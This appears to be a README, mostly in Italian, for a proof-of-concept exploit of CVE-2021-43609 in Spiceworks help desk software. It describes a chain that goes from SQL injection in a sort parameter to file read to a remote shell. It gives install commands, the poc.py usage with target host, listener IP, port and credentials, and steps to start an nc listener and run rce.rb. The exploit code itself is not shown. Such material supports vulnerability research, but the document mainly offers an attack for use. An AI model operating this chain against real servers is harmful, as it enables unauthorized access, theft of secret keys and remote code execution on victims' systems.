d5sec/cve-2021-43609-pocExploit proof-of-concept per CVE-2021-43609 che dimostra la catena di attacco da SQL injection a file read a remote code execution contro il software help desk Spiceworks.
C'è una SQLi in un parametro sort di Spiceworks. La catena di exploit completa è SQLi -> lettura file -> RCE.
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
Usa poc.py per sfruttare la SQLi -> lettura file ed estrarre la variabile d'ambiente secret_key_base. Genererà quindi uno script Ruby PoC per ottenere una reverse shell, con i valori ottenuti da poc.py.
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
Usa rce.rb. Avvia un listener nc sull'IP e sulla porta che hai fornito in Fase 1, poi semplicemente:
cd rce && ruby rce.rb
Ecco fatto!